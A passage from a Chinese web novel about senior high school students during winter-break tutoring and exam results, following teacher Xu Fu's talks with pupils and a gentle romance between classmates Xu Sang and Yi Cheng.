“祈雨都有仪式,这求大运,”徐富嫌弃地看了眼门外,“还硬嚎啊!” 决心参与春招的,其实多半跟期末考就无关了——只考语数外的,还来凑“物化生”的热闹,不是蓄意拖平均分就是春招也没打算好生考了。 期末两天考期完毕,休息一天后,便马不停蹄地进入补课阶段。 “一轮复习才过一大半,这进度实在太慢了,不补课不行啊!”徐富站讲台上伸张补课合理性。 “下半学期那是隔三联考岔五诊断,阅卷速度都赶不上考试速度。要照这复习进度推下去,上考场你们都是麻瓜兵。别人两轮三轮过完,你们一轮勉勉强强,前面还都忘干净了,不是被别人踩在脚下摩擦那是什么。所以,珍惜补课时间吧,你们的时间真的不多了!” 基于此,补课安安生生进行了几天。不过,在科任老师进行集中阅卷回来之后,安生不起来了。 “练字很重要,铁律不能倒!”白晓莉说,“首先写清楚,其次写端正,字儿别爬坡,也别写着写着就栽下去了。” “过程很重要,格式要规范。”徐富说,“哪怕题都看不懂,也要给我写满。把题干抄一遍虽然不好,但按点给分很可能摸到;或者把有关的公式从头到尾默写一遍——有些人就是这么从我手上把分骗走的,你们也学学。” “勾画很重要,别装,老实划横线勾题干……” 补课课表并不人性化,每科两节,顺序排列。今天不知怎么了,课程顺下来,一直到晚自习,每科老师第一话就是“……很重要”,一讲就是一节课。 “这些偷分小技巧,我视频早刷到了。”吕丁打了个哈欠,找许桑问题的时候,顺便吐槽,“没想到居然上台面了,也是今时不同往日了。” 陈慢又霸占了赵鸿途的位置,毕竟期末考完,赵鸿途就回去没再出现过。他揉揉鼻子,“他们就是照搬网上说的。” “什么意思?”吕丁问。 “我进办公室听了两耳朵。”陈慢把板凳往前拖了些,小声,“这次咱学校的分可能不太好看,就给某些领导刺激到了。于是年级下了死命令,要短时高效提分……不然你以为老徐守自习守着守着笑颠了是怎么回事。” “还能这么搞?” “对。后面某个班更离谱,公放学习视频不说,还派老师去前后门看守着。”陈慢说着就笑了,“不过被学生举报挂网上了,然后老师带头写了检讨。” 吕丁险些以头抢地:“哈哈哈哈……” “另外,”陈慢看他笑得欢,本来不想说的,现在是一点收不回去了,“今晚十点出成绩。” 吕丁笑声劈了叉:“哈哈——啊?!现在几点?” “现在北京时间19点43分。”陈慢偏偏头,忽然伸手点了下许桑的桌面。 许桑正在做吕丁给的这道题,听动静抬了下头。 “市级前一百下午就放出来了。”陈慢笑着说,“好像咱年级有你,老徐在办公室演了一出安塞腰鼓。” 许桑笑了声:神特么的“安塞腰鼓”。 “不过好像也只有你。”陈慢想了想,“因为翻到最后时,老徐又在办公室拉了一曲二泉映月,纯嗓子拉。” 许桑笑得笔都没捏稳:“……” “老徐简直初生代社牛级别人物!”陈慢像是消息大王,他转头又敲了敲易承的桌面:“对了,易哥,我在办公室还听到你名字了。” 易承先是不动如山,后才稀奇起来:“又损我?” “应该算不上损。”陈慢说,“上次周考你惊艳亮相,老徐觉得你要重回巅峰,所以开启一场投票,赌你能不能保持住。” 易承觉得挺逗,追问:“赌况呢?” “3:9。”陈慢小声补充道:“3是能保持住。” 易承皱了下眉。 陈慢见状,连忙兜网:“易哥你也别在意。一群老的少的闲了,嗑瓜子都能比起赛来看谁嗑得快,打个赌娱乐娱乐不当真的。” “嗯。”易承转了圈笔,“我只是比较好奇,赌注是什么。” “赌注?”陈慢突然大笑,“哈哈……赌注是字数。期末有老师评测,科目上线人数没到的都要写检讨,就整改意见、整改记录那种。好像500起押,老徐投得最多,押了4000。” 易承歪了歪头,轻轻地“哦”了一声。 “怎么了吗?”陈慢伸长脖子去问。 “没怎么。”易承低头看题,“要是赌注是钱,高低我得去投一注。” 陈慢:“……”还得是他易哥野。 不过他很快反应过来,“易哥,你哪来的自信能赌赢?” 易承勾唇:“同桌给的。” “……”吕丁突然出声,“那怎么没给前桌一点?” 易承看向许桑:“大概,他比较专情。” “……”许桑面上笑了笑,但放桌下的手指轻动,拨开了易承伸过来的手。 吕丁疑惑:“这样吗?” 陈慢动了脑子:“是不是全被易哥吸走了,然后,到前桌这就负自信,成自卑了?” 吕丁:“……” 他欲言又止几次,看着陈慢那张脸,说话的欲望终究还是痿了。 成绩是等不到公布了,九点放学后,各回各家各躲各妈。 但徐富很会来事,学校技术人员成绩统计好后,他甚至没看,就直接甩进了班群。 就像甩了颗炸弹,不过就算班群大海里的鱼都被炸死了,也不敢顺从浮力规律翻到水面上飘着——因为性质变了,那得变成“社死”。 但大群不敢作祟,小群消息却是满天飞,堪比几年前的新年群里收发红包。 【2:先遵守秩序,排名前十的一个屁都不准放;倒数十名的快吱个声!】 【等风不等你:别慌,我还没点开。来个人帮我看一下,进前三十了拍拍我,没进扔个炸弹,谢谢。】 【珍珠奶茶一辈子的爱:我求你们看成绩,有惊喜!!】 【陈班:卧槽!老子进前二十了!!】 【学不好数学学物理:陈班,这是你撒欢的地方吗?要不是你是群主,直接一脚把你踢出群聊!另外,嘻嘻,老子也进前二十了!】 【别说话:我好像看到了bug,年级前三都在我们班上,二班那个霸王被挤下去了?】 【童:等等,易承?!】 【童:这是对我偷藏手机和熬夜玩手机的惩罚吗?他挺住了……】 【mac:果然,达成了受伤的只有我的世界!你们乐吧,我先洗洗睡了……已经想象到如山的寒假作业了。】 【瓜娃子:兄弟们,冷知识,l排在y前面!】 【陈班@瓜娃子:终于有人发现易哥跟那个李云平同分且同为第二了,刚想夸聪明结果发现你是个瓜娃子,唉。】 …… 易承在做一套新题,计时做的那种,听到放床头的手机铃声,他看了眼刚洗漱完的许桑,轻声:“备注你认识就接,不认识挂了。” 许桑正擦着唇角的牙膏沫子,闻声轻顿:“有这工夫你都接了。” 话落,他看了眼来电人,见是吕丁,坐床边便按了接听。 “啊啊啊啊啊啊!” 许桑:“……” 他把手机扔床头,沉默地听着对方激动。 “我靠啊,易哥!我宣布,此时此刻,吕丁就是世界上最幸福的人,没有之一,就是最。你敢想,我都不敢想,我居然班排十八,十八啊我天!比我年纪还小,这成绩是我能考出来的吗?” 许桑按了下太阳穴:“……” 突然间觉得,梁意杉也不是那么拿不出手了。 “激动完了,我说正事。”吕丁知道易承很少看群里消息,高一时甚至错过了一则提前开学的消息,也不知道是不是故意的。所以每次重要的他会来提个小醒,“成绩出来了,易哥,你猜你输在哪了?这辈子都想不到的答案!” 许桑沉默得满屋子是金了,听他这一句,才后知后觉地摸出手机翻着看了眼成绩单。 第一眼看到自己后,他视线下移,精准落在易承两个字上后,笑了。 “输在哪?”许桑看了眼同分但不同位的两人,笑答:“名字缩写啊?” “不是这很好猜吗?”吕丁下意识脱口,“还有你谁啊”,但这音色,毕竟是给他线上线下都讲过题的人,他听觉恢复肌肉也跟着有记忆了,差点嚎破嗓子:“许哥!” “嗯。”许桑应了一声,将他的成绩一一看过,轻皱了下眉:还是欠了些。 “你跟易哥在一块啊?”吕丁想着今天一不节二不什么日的,关键第二天还有课,实在想不通有什么相聚的理解,便问:“易哥不会傻到手机落你那了吧!” 许桑顺着这话口就衔上了:“嗯,傻的。” “难怪。”吕丁没多想,迟疑后开口:“不过我刚看完成绩,慢慢矮我一名但进步了……但,鸿途,居然滑到了班上第十?我都不敢跟他发消息。” 许桑偏头,没兴趣也懒得扒着别人的成绩看,简单回了句:“正常。” “正常吗?”吕丁拨着成绩看,平日里赵鸿途擅长的物理,这次居然只比他高了十分,还有数学,一百二的线都没蹭上去…… “啊,算了,大半夜的不能煽情。许哥,你快夸我一句!真的,看到成绩的那一刻,我感觉我已经飘成了一朵云,直接升天的那种。班排十八,年排还进前两百了,我……” “……”许桑顿了一下,见旁边易承似乎落笔了,偏头口型说:“来夸一句。” 易承坐过来:“?” 刚不是才说他傻到手机落他那儿了!到底谁傻…… 懒得等会跟吕丁解释,他直接起身,凑许桑耳边,气声:“你夸他……” “嗯?”许桑听着这词,说不出口。 易承“啧”了一声,索性放声说了,“你许哥夸你:小丁宝贝,再学下去,十条狼都追不上。” 听到对面笑声的许桑:“……”吕丁好这口? “哈哈。”吕丁先是听乐了,然后懵了:“不是?易哥你在呢!” 易承偏头:“嗯,我来讨我的手机。” “哦。”吕丁不嫌烦地,又把刚才的激动上演了一遍,比戏剧京腔还咿咿呀呀阵仗大,“……你耐心点,到结论了:易哥你真牛逼!” “谢了。”易承说完,主动挂断电话。 屋内归于平静,许桑挑了下眉,“还有爱称?” 爱称? 易承小幅度地偏了下头,才反应过来爱称是那句“小丁宝贝”,顿时笑了出来: 那是吕丁妈妈的经典话术,每次接个电话兜头就是这句,偏偏吕丁一听就呲个大牙傻乐呵……早早就成笑料陈货了。 许桑轻皱眉:“笑什么?” “笑你。”易承抱住他,浑身的重量都压过去,压得许桑差点没坐稳,他追着许桑问了句,“刚刚为什么不重复?” 许桑没答: 大概觉得“宝贝”这个词太亲昵,说不出口。 “是不想那么喊别人?”易承勾唇轻笑,“那喊我呢?” 许桑一滞,耳垂微微发烫:“……” 易承看出些端倪,笑问:“薄面儿?” 许桑使了些力气,推开他,正色:“我看眼你卷子。” 易承只得松开手:“……好。” 将试卷给许桑后,他挑了挑眉,心道:迟早诱许桑叫出口。 第72章 第72章 【“很合适。”】 徐富下午的课, 踏进办公室就听到无数声恭喜,把四千字的预检讨数抛出去,他一身闲轻地端出热茶, 喝:“我带出来的人,自然我了解。” “看给你能的。不过变数大啊。”二班班主任坐到他对面,“我看今年恐怕有几匹黑马。” 徐富摇了摇头:“这说不准,上届我有个学生, 考试从来在年级前三。结果呢,高考本一线都没上, 家长跑来学校哭, 分析下来,平时花样玩尽作弊呢。” 二班班主任:“那也是少数情况。” 徐富摇头:“高考成绩没出之前,谁都把不准。你班那个第一,不也翻沟底了?” “你班要没转来个学生,这次也得砸。”二班班主任不想落下风,“总排还是不突出。” “话别说太早, 老子杀手锏回来了。”徐富嘿嘿一笑,“你就等着看。” 二班班主任一把把文件夹拍桌上:“等你班许桑回去高考,你就老实了。” 徐富气得嘴直抽抽:“……” 他平复好心情,准备在教室蹲个进办公室的学生,帮他去理一班叫来许桑。 两分钟后,人蹲到了,但貌似他才是被蹲的那个。 “老师,我想找你谈谈学习上的问题。”李云平进来, 很礼貌地鞠了一躬。 “呃,你坐。”徐富便把许桑那张成绩单扣下去,看向他, “这次考得总体还是不错的,偶尔有点发挥失常也正常。” 李云平这次呢,名次稳稳当当的,至于分数,也算得上漂亮,但跟他上学期的比起来,下降也挺明显的。 “我想换位置,可以吗?” “换,换位置?”徐富愣了一下,“是同桌影响到你学习了还是看不到黑板呀?” “我想跟许桑同学做同桌。”李云平知道老师对好学生的要求基本就是“有求必应”,便直说,“想更多地跟他学习学习。” 徐富沉默了。 众所周知,班主任的副业就是行走的监控器。谁跟谁牵个手都要记上一笔,生怕哪天校领导劈头盖脸骂下来自己还嘛都不知道。 继上次跟许桑的谈话,他观察过许桑跟易承的同桌情况。 结论呢:很合适。 有天晚上男寝有同学忽然发高烧,他作为班主任去处理时,无意看到理一班教室还亮着灯。 以为值班同学长个儿不长脑,他跑上去正准备节约电费去关灯,站后门口时,就看到两个背影:一个勾着笔貌似在讲题,另一个手心侧托脑袋笑着在听题。 而仰头,时针已走过11点。 后来他渐渐发觉,许桑能管得住易承。易承学习能力不差,但这不足以成为他进步这么大的全部理由,他猜:许桑多半有帮忙。 “这恐怕不太行。”徐富从回忆里抽身。 “为什么?”李云平被拒绝得有些突然,不都说年级甚至班级前三是想坐哪里坐哪里,他来之前还有人这么说。他给出理由,“我觉得跟更优秀的同学坐一起,能激发我的学习热情,而且我们或许还能互帮互助,一起进步。” “谁都想跟第一做同桌。”徐富脱口,“而且,许桑毕竟才来半学期,好不容易跟同桌前桌熟悉了,我怕影响到他学习。” 李云平继续:“但是……” 徐富往后一仰,“云平呐,坐哪都是学。你看陈慢,跟许桑也差两排呢,还不是下课就去找许桑问题。我知道易承同学的进步刺激到你了,但,要真只是位置的问题的话,你搬办公室来岂不是进步更快?” 李云平说不出话:“……” “是这个理吧?” “好的,老师。”李云平垮不下面,便把卷子抽出来,“那老师,能问你个题吗?” “可以可以。”徐富乐呵:傻孩子终于知道情况不对该转移话题了! 下一秒,看到题,他傻了: 你妈超纲就算了,还整竞赛题! 终于把这尊大佛送走,徐富要死不活地喝了口水,背着手走出教室:他得出去透个气儿! 还得是倒计时压在头上才老实,距晚自习还差半小时,教室里就坐了十多个人: 有没去食堂吃晚饭,掐着面包棒在啃的;也有吃了晚饭嘴没擦干净就急匆匆跑回来学的。 他欣慰地点点头,踩到后门门槛上,“许桑”两个字还没叫出口,就被扯了扯胳膊。 徐富回头:“诶?” “老师,我想向你请教点问题。”赵鸿途垂着头,“可以吗?” 徐富:“……” 这接二连三的打岔,竟无端让他想起了结婚时候的“闹洞房”,他要见的是他老婆,结果几个盖头一掀一个短毛佬。 但他面上还是春风和煦:“当然可以。” 走廊上,披戴着近晚的夜色,像着了暮霭,灰扑扑的。 徐富看了眼赵鸿途,有半月没见了,今天风风火火跑回来,估计是因为成绩下降的问题。 他引导地开口,“把你的问题说说,我听听。” …… 徐富安安静静地听他讲完,忽然一拍脑门,“要不你换去跟云平做同桌吧?” 赵鸿途取下眼镜在擦眼泪,听到这句满是疑惑:“啊?” “没什么。”徐富恨不能一巴掌拍自己嘴上:这说的都是什么屁话。 他清嗓子,正经起来:“你的问题,我每届都遇得到。” 赵鸿途是个老实的孩子,一直勤勤恳恳,也算是全凭努力和汗水一步一步走到班级前五。 “我觉得自己怎么努力也考不上第一”、“好像除了学习有点成就,其他什么都拿不出手”、“有种越努力成绩却越来越差的感觉”、“身边的人都在进步,好像他们一旦开窍便能轻易超过我”……他口中有诸多问题,心理上肯定不止这些。 徐富拍上他肩膀:“人比人,比死人,知道吗?” “知道。”赵鸿途抿唇,“但我控制不住。” 有些自卑,是自认为“努力大于天赋”的人身上普遍的特质。 徐富:“控制不住?这样,跟我学。” 赵鸿途戴上眼镜,看向退出几步的徐富。 “每天早上起床,第一时间跑到镜子面前,看着自己,喊出口诀。”徐富蓄势,大声:“老子是天下第一!无人可比!谁人来敌?全是蝼蚁!” 赵鸿途受到了一点暴击:“………………” “来,跟我喊一遍:老子是天下第一,无人可比,谁人来敌?全是蝼蚁!”徐富双手举着扑腾,转头见赵鸿途愣在原地,“怎么不跟着来?” 赵鸿途看了眼他身后从教室冒出来的头,红了脸,手足无措:“我……我嗓子疼。” “那也能喊啊。”徐富喊舒服了,捞了块衣服布料给自己扇风,“我当初转数学专业之后,以为就我一个天才。去了才知道除了我人人都是天才。我每次预习了才去上课,结果发现没一个人听。最终呢,我擦70的线,其余人奔满绩点闯!” “后来自从念了这口诀,我就精神了……人的自信不能只来源于外界的成绩、名头,真正的自信就是无厘头的!” “我给你证明证明这个命题。” 赵鸿途一愣又一愣:“……好。” “玩过游戏吧。要打出攻击,是不是得先锁定敌人?” 赵鸿途愣着回答:“是。” “最厉害的状态是什么?无敌,同不同意?” 赵鸿途懵着:“同意。” “那自信的最高状态是无敌。怎么做到无敌?别人给的伤害或攻击无效。那请问,攻击自信时,得先锁定人的自信点。若无攻击点,攻击失效,是否意味着无敌?” 赵鸿途脑子一团麻:“是?” “是。”徐富挤眉弄眼,“那证毕。你就按我说的做,准没错!” “……”赵鸿途此时此刻甚至忘了自己来的初心,只呆头呆脑地接了一句,“好。” “那就行了。”徐富终于说完了,拍拍他的肩,“你进去的时候把许桑叫出来,说我在一楼楼梯口等他。” “哦。” 赵鸿途转身,几乎是顺拐着走回教室- 许桑下楼时,上课铃声已经打响。不过晚自习自习为主,又是班主任亲请,问题不大。 “终于来了。”徐富搓手,在楼梯外的空地上吐白汽,一哈一大坨。 许桑不明所以地上前,然后就被拽着胳膊腿地往外走。 人贩子? 许桑被迫跟着他走,从宽敞的教学楼外空地,走到操场外,又绕,绕到一阵黑黢黢里。 “您是徐富吗?” “孩子怎么说话呢。”徐富转头看了他一眼,“怎么能直呼老师名讳!” 许桑:“……”这口气,是徐富没错了。 徐富搓手取热:“有些话,只能偷偷讲。我们去学校后面的小树林,那儿适合讲。” 许桑顿下步子,细看了眼他的背影,才跟上。 学校后面的小树林,真就是小树林,稀稀拉拉几颗树,横竖没有大腿粗。偷摸干个什么事,遮着脑袋就露了屁股,藏身可能极低。 徐富找到块石头,弯身摸了摸擦了擦就招呼着许桑坐下,开口:“我呢,不瞎。这次你语文成绩又高了一大截,许桑同学,之前真不是故意的?” 许桑没坐,只站在他对面,闻声点头,“是,也不是。” “那就是了。”徐富安全意识还是很强的,压低声音说,“能跟我透透底儿,为什么故意考低气你们白老师?” 许桑轻顿,他蹲下身子,与徐富平视。 “你放心说,我一没录音二没同伙。”徐富伸出四根手指,“保证这事天知地知你知我知,除此之外,绝对机密!” 许桑指尖轻顿:他没想到徐富还有心细成这样的一面。 他稍作停顿后,说道:“她欠一次道歉。” 徐富:“白姐啊?她这辈子欠的道歉一山都装不满!” 许桑抿唇:“……” “你跟我细细讲讲。”徐富往前凑了些,“白姐这个人,大错小错多了去了。我听学生反映过,也听老师反映过,但她毕竟我们中年纪最大的,有些东西不好说也没明文管。你把具体情况跟我说说。” 许桑不顾他口中那些旧往,直言:“我来的第二天,易承的罚站,没有成立条件。” “易小子?”徐富愣了下,“不是为你自己啊?” 许桑轻皱眉:“我不记仇。” 徐富语塞:敢情是不记自己的仇,专记别人的仇? “那我明白了,明天我就去处理。”徐富往后坐,深呼吸后,突然问道:“那要是我没发现,你岂不是要憋到毕业?” 许桑偏头:“不。” 徐富期待地上前:“那是要?” “上校园广播亲自要。”许桑眼皮轻掀,眸光染上厉色,“再不济,我——” “等等,你别说。”徐富伸手,隔了两厘米距离去捂他的嘴,“我怕我心脏受不了。” 许桑闭嘴:“……” 徐富弯身拍了拍他的肩,将人往回带,前路空无一人,来去只有月色如波。 他抬了些头去看许桑,很突兀地开口,“许桑啊。” “嗯?”许桑垂眸看他。 “你要是能窥探到我半个小时以前的心理活动,你一定会夸我是开了天眼的,看人准得没边!” 许桑转头看向前方:“……” 他有那本事就不站这了。 徐富见状,追着人说:“真的,我不骗你。” 他此刻想着:许桑和易承做同桌,很合适。 第73章 第73章 【“这得算幽会了吧?”】…… 许桑回到教室时, 陈慢在讲台上把守着,但守得名不副实,闹喳声东升西起, 若非陈慢时不时要哼唧一句“安静”,场面不敢想象。 趁乱,许桑转了圈笔,手臂外转, 笔头轻轻点落在易承闲着盲打节奏的左手手背上。 “嗯?” 易承停笔,便利他说话似的, 往许桑这边凑了凑。 许桑轻声:“放学跟我去个地方。” “啧。”易承面露讶色, 觉得稀奇得紧,正欲上前再言语拨弄两句,上头的陈慢抽风一样大叫一声:“恭迎老徐回班!” 徐富想逮学生小动作的心一抖:“……” 教室也连带着安静了。 易承慢吞吞地移正脑袋,指骨旋着签字笔翻转腾飞,而后“啪”地一声飞至过道,砸落。 “……”许桑故作嫌弃地看了他一眼, 弯身去捡笔,递回去的时候顺道一问:“抗议还是同意?” 接过笔,指尖相触,易承流连地轻蹭了一下,才收回。心情顿时又明朗了,他歪头笑道:“同意。” 许桑看向题:“嗯。” 徐富气冲冲地把陈慢赶下了讲台,坐上去,“成绩出来一天了, 看你们心如止水,是成佛还是修仙了啊?” 讨论就跟上课偷开的薯片一样,本意是自己吃, 实际呢,不可控的是:路过的都能听个响。 徐富从庞杂的言语声中捕捉到一句,忙笑,“哦,在我看不见的地方早就大风大浪过了,是吧?” 哄笑声中,他东讲西讲,愣是要把一整节课都耗完,中途还气势千军万马地喊出了分享给赵鸿途的那个口诀,班级跟着沸腾起来。 大概气氛所致,徐富又开始聊曾经,以“我还是个学生的时候……”这个标准话头起范套近乎,套完,赶着时间,还不忘夸了夸进步极大的易承。 易承抬头跟他对视了一眼,又无可奈何地垂下头。 “……向易承同学学习。时间还来得及,不到最后一刻绝不放弃,听明白没有?” “明白!”然后下课铃打响。 徐富口渴得要死,晚饭也没吃,猪上身一样两腿拱着出了教室。 “远程呼叫陈班,我现在也是有座右铭的人了。我的座右铭是:易承都能考第二,我他妈也能考第二!” “男人的胜负欲起来了,是吧?” “不是,是我曾骂过易承。要是连他都考不过,我没脸说话了。” “无脸男,握个手吧?我不嫌弃。” “……” 易承回头看了眼身后说闲话的两人,其中一个正有一搭没一搭地用指头描黑板报的粉笔印迹,把那一板动漫脑袋薅得糊不拉几的,偏偏自己半点没察觉到,跟个无感人士一样。 “我听说,今天李云平去找老徐说换座位,想跟许学神做同桌呢,不过感觉李云平一没战斗力,二没了碾压似的成绩领先,斗不过易哥吧?” “哟,这么快改口喊哥了?” “求生欲是人的本能,我只是遵循客观规律并发挥人的主观能动性。” “还扯哲学,你怎么不去文科班坐着。不过也是,易哥好歹也是校广播亲自批评过的人。我以为他一度要往校霸发展,没想到转行学霸了。” “校霸?突然想起邓茂光,那傻缺现在都没回校,听说他家里人砖厂都找好了。得亏易哥没一脚踩歪,不然遇到许学神,还不是分分钟就‘人赃俱获’!” “‘人赃俱获’?” “就上次许学神的台上发言啊,帅死我了。” “班级梗是吧?我记下了。还有……” 易承本来没想听别人一来二去,但听到跟许桑有关,他耳朵就往后翻了翻,摄取到几个关键字眼,咋舌:要抢他同桌? 想着,他屈指,轻扣许桑桌面。 许桑在整理错题笔记,正暴力拆卸卷子,应了一声:“有事?” “你以前,跟谁做的同桌?”易承问。 许桑想也没想,回答:“没人。” 易承眨了下眼:“?” 许桑解释道:“小班制,单人座,没同桌。” “哦。”易承笑了,又进一步问道,“那以后呢?” “以后?”许桑把拦腰咔嚓掉的卷子对折,停下动作直视他,“你想问什么?” “我听说有人想跟你做同桌,”易承托腮,“你会应吗?” 对方眼里的情绪过于炙热直接,许桑只消一眼便感受到,牵唇打趣道:“易承,你上辈子得罪谁了?” 易承轻顿:“嗯?” “这么没安全感。”许桑解他的惑。 隔了两秒,他才说道:“你想的话,可以只有你一个,我保证。有安全感了吗?” “嗯,”易承一笑,又没脸没皮上了:“再来点儿呢?” “可以。”许桑把书里压着的卷子取出,正色,“这套卷子,题型题解新颖,你好好研究。” 易承讶于他转移话题的生硬度:“嗯?” 许桑看他一眼,屈指扣了下试卷名称:“你不妨离我近点,更有安全感。” 易承看了眼试题名称:“青中专题卷(禁止外流)”。上面还残留着许桑做过的勾画与笔记,规规整整的。他看了一会,笑了,“好。” 试卷做了两道题,他突然歪头思考了两秒:许桑这是刀架他脖子上,他不得不学啊! 夜里的校园总是带着一股子森然,可能怪谈的受众大多是学生,学生的归宿大多是学校……逻辑闭环形成,学校里自然多怪谈了。 “去哪?”易承看着频繁变化的环境,不禁问道。 他和许桑先是按惯例多坐了近一个半小时,才关上教室的灯往外走,沿途别说人影子,鬼影子都没遇到。 乍一走着,他发觉许桑的身影都过于晦暗了。 像是被易承问住了,许桑蓦地停下步子。 易承绕到他旁边,看着前面黑黢黢的一片:“嗯?” “你上六百三了。”许桑垂眸,牵上他的手腕,轻捏,“应你的约会。” 时间:晚上十一点过;地点:学校后面小树林……除了人物,全是错的! 易承晃了晃他的手臂,偏头问道:“这得算幽会了吧?” “……”许桑不语。 “也行,我喜欢。”易承反客为主地牵着他往前走,还顺带问道:“不过你之前来过这?这里可不好找。” 许桑解释道:“老徐。” “那通了。” 易承说完,站在一众草木前,除了膨胀的一圈轮廓,实在没什么可欣赏的,他便问道:“约会有什么项目吗?” 刚问完,忽而听到有阵不算大的动静响起……易承耳朵灵,才听半截就拨了下许桑的腕骨,四顾后,将人往上带。 两分钟后,两人坐在墙头,身影被棵没秃完的树堪堪挡住。 动静的源头,是两个人,鬼鬼祟祟的,估计是俩住校生——学生寝室十一点半熄灯,四十关寝,正好有“作案时间”。 易承只略略扫了一眼,便能猜出这“案”是什么性质,毕竟他当这种“目击者”也不是十几二十次能概括完的了。 经验当头,他甚至赶在两人有所进一步动作前,就伸手,手背内横,虚虚挡住了许桑的视野。 许桑指尖轻动,轻声:“手拿开。” “偷窥不是好习惯。”易承往那相拥的两个人形身板上看了眼,就专心凑向许桑,“所以,别看。” 他话一落,几米之隔,就忽的传来一声娇嗔,而后是一句男声:“放心,没人。” 闻声,许桑顿时明白过来,他偏过头看向易承的脸,“嗯。” 时间也算不得煎熬,毕竟关寝时限在那两人头上压着的……易承是游刃有余知之甚明,但许桑毕竟不住校,又不爱打听跟自己无关的事。 凭着这点信息差,易承逗趣似的轻声:“你说他们要是在这腻歪一晚上,我们——” 话还没落,怀间突然多了个物件。 “?”易承手快也稳,精准把住,是手机。再翻个面儿,是一道题。 而后许桑轻飘飘的嗓音落下:“做。” 易承捏着手机,一时失言:“……” 将题干读完,他一边在心里搭思路,嘴上一边说着:“见缝插针式学习赛道,许桑,我是被你硬抗上道的。” 许桑轻笑,伸手拍掉易承的手,看着题,说:“不是你要约会项目?” 约会项目等于一道逻辑题……易承脑子反应出这道等式时,明显感觉到自己闭紧的嘴有丝毫漏气,牵强地扯出个笑意的弧度。 俗称:气笑了。 不过两秒后,他又心甘情愿了:爱屋及乌呗,能怎么。 将题滑着做,易承咂摸了一句: 许桑还挺贴心,目前做过的几道,计算量中等偏下,更多考的是颅内逻辑搭建,能顺成一条链就能出答案,顺不成,就是错。 比如现在。 易承晃了下头,“等等,我重想一遍。” “嗯。”许桑移了下视线,几米外站着的人,刚撒丫子跑了,跑前还跳了曲情意绵绵难舍难分的探戈……他转回视线,“我等着。” 把新算好的答案输入在横线上,等系统自动给出对错之判时,手机屏幕顶上,忽然跳出一则消息。 “您有新的信待开启。” 消息提要过于熟悉,以至于易承下意识就要点进去,但理智将他叫停……他眼睫轻颤,偏头,鼻尖忽而擦过许桑脸颊。 呼吸一滞,易承听到自己满怀期冀的声音问道:“你也玩这个?” 第74章 第74章 【“黄金位置。”】 “什么?”许桑在看题, 没注意到其他的。 易承轻顿,长按着那条消息提示,还谨慎防着自己点进去侵犯到信件隐私了, 回答:“这个。” 许桑看了眼熟悉的消息,说道:“快两年了吧,怎么了?” “巧了,我也玩。”易承抬眸看了眼, 刚站人的地方已经只余夜风撒欢。他便低眼,将消息提示解放了, 在系统提示出“Bingo”时, 滑到下一题,继续做。 许桑“嗯”了一声,侧了下身子,“所以呢?” “所以,” 易承沉默了:他昨晚才发出去一封信,按投件时间, 估摸着也是这个点到对方手中。 这巧合……他欲言又止,索性不再多想,只是把这道题飞快过掉,却发觉此刻思路乱七八糟。系统闪了三次红灯后,他把手机给许桑,“你做。” “脑子续航时长好短。”许桑嘟囔一句,而后在横线处输入两个数字。 看着瞬间跳出来的“Bingo”,易承默住:“……” 这样显得他跟没智商一样。 寒假补课进行了漫长的两周, 在腊月二十五这天告停。毕竟,再进行下去,初一要祭拜的祖坟说不定该冒点五颜六色的烟了。 把寒假作业打包好学生便解放了, 教室里只留了一组倒霉蛋打扫卫生。 很荣幸,“五虎上将”就是这组倒霉蛋——除了赵鸿途,一个决定高三下学期再跟班的“狠人”。 “行了吧,慢慢,现在地比我脸都干净了。”吕丁拄着扫把杆,撅着臀四处张望。 陈慢一脸板正:“等等,讲台这边还要扫一下,粉笔灰结块黏着呢。还有易哥,麻烦把黑板再擦一遍!” “还擦?”易承把浸水的人帕子拧干,第三次走过去。 看着光洁的绿板,他叹了口气:小小班长职位,真是屈了陈慢这才。 “没办法,我们既然承担了打扫任务,就要善始善终!”陈慢把垃圾倒进黑色塑料袋里,又去拱犄角旮旯时,他蹦起来,“许哥,麻烦再端盆干净水过来!” “……”昨天农历小年大扫除没做成,今天来过手瘾是吧? 许桑无奈笑了声,又一次走过去,洒水。 吕丁以鲶鱼姿势爬过去,把扫帚支地上乱捅了两下:“有完没完,亲爱的陈班,你是不是有强迫症?我想把你也扫走,啊啊啊!” “耐心点,算我拜托你们了,等会请你们喝奶茶吃东西。”陈慢蹲下身子,在二次擦拭墙根,“主要是寒假期间,学校开放自习。万一我们班上有人想回来自习,却看到教室那么脏乱,学习热情被浇灭就不太好了。” “……”蹲、站、趴在讲台边上的三人一致地扯了抹笑。 吕丁撇嘴:“圣爹啊你。” “这叫‘为人民服务’!”陈慢抱出他的座右铭,昂起他高傲的头颅,操着口标准的普通话朗诵:“这是人类最光荣的使命与责任,也是我——” “咚咚!” 大敞开的门被敲响,随之清丽丽的女声传出:“抱歉,打扰一下。” 看到门口女生,吕丁“嘶”了一声,突然爱上扫地似的,埋头苦干。 连串话词突然被夹断,就跟压轴大题算到最后一步,临写出正确答案前“考试结束”的铃声响了一样,挠心烧肺极度难受……陈慢脸色一沉,用很唧歪的口音说道:“啊,请问有什么事吗?” 要不是有声音,黎晓晓都没注意到墙角有人,她歪了下头,“请问你们班易承同学在吗?” 易承偏头看来:“有事?” “白老师让我把这个交给你,并祝你…你们新年快乐、寒假快乐!”黎晓晓举了下手中折叠成小方片的白纸,就近放在了第一排的课桌上。 说完,她就转身离开了。 “嗯?”陈慢抬了下头,咂摸:“这人声音好熟悉。” 吕丁扶额:“呵,拒了你表白的西施妹妹,能不熟悉?” 陈慢陡然回头,鼓眼绿皮蛙一样蹦起来:“我靠?” “这叫什么,一报还一报。”吕丁捧腹大笑,笑得前仰后合:“叫你强迫症,叫你损友为人!” 易承轻笑了声,将帕子放讲台,甩了下手上残余的水渍,两步迈过去,将白纸摊开。 “白老师?”吕丁嫌完陈慢的热闹,推着扫帚来回走,好奇:“白老母?” 易承看字速度快,浏览完便将白纸撕成条扔进塑料袋里,转身拿起帕子时回答:“嗯。” “嚯!”吕丁把扫帚当第三条腿,三腿配合良好,在教室过道间行走自如来去如风:“她居然会送学生祝福,我以为她的嘴,除了输出骂人没别的功能了。” “……”易承和他想法差不多。 不过刚才那张白纸上,钢笔字落了四行。三行在怼他,这并不意外;只是,最后一行的“实在抱歉,对不起”倒是意料之外。 新年除了年兽,还有什么鬼能附身? 还是,白晓莉被夺舍了? 地面连同黑板处理完,最后的环节便是窗户。和走廊处的护栏一样,这边也安了铁网,不过工程量大且复杂,工人处理得不算很好。 许桑新抽了条帕子,将窗沿擦拭着。 